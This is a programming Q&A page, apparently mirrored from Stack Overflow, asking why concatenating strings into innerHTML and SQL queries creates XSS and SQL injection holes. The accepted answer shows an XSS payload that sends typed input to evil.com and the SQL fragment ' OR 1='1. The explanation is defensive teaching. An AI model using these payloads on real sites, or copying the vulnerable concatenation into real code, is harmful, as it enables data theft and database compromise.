drjtua5953 2011-12-05 02:18
浏览 58
已采纳

为什么/如何连接会导致XSS或SQL注入漏洞?

I was told recently (on here) that concatenating your Javascript will cause XSS vulnerabilities. I have done my research on here and on google to find out why this bad, but I am not seeing it.

Part 1 - Javascript: Apparently something like this is the unsafe way. Why? How should you do it instead?

// part of a script dynamically making table rows
var el = document.createElement('div');
el.innerHTML = '<input type="text"  id="myId'+id+'"  />';
cellOne.appendChild(el);

Part 2 - MySQL: I was told that you when you concat SQL, it exposes you to SQL injections. I am not sure what they meant by concat SQL exactly. I assume they were not talking about the SQL concat function. I am guessing they meant:

$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";

Or maybe?

$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";
     $sql .= " AND `col2` = '".$myvar.'";

Does this expose you to SQL injection?

The SQL part is academic. I use PDO to prevent SQL injection.

  • 写回答

3条回答 默认 最新

  • doujing1858 2011-12-05 02:24
    关注

    Part 1

    It can be, if id comes from user input that persists on the page.

    The id variable may contain...

    " onchange="(new Image).src='http://evil.com/user-input=' + this.value;" bla="
    

    Part 2

    Unless those variables are escaped using the correct mechanism, there is a vulnerability.

    The $myvar variable may contain...

    ' OR 1='1
    
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(2条)

报告相同问题?

悬赏问题

  • ¥15 怎么改成循环输入删除(语言-c语言)
  • ¥15 安卓C读取/dev/fastpipe屏幕像素数据
  • ¥15 pyqt5tools安装失败
  • ¥15 mmdetection
  • ¥15 nginx代理报502的错误
  • ¥100 当AWR1843发送完设置的固定帧后,如何使其再发送第一次的帧
  • ¥15 图示五个参数的模型校正是用什么方法做出来的。如何建立其他模型
  • ¥100 描述一下元器件的基本功能,pcba板的基本原理
  • ¥15 STM32无法向设备写入固件
  • ¥15 使用ESP8266连接阿里云出现问题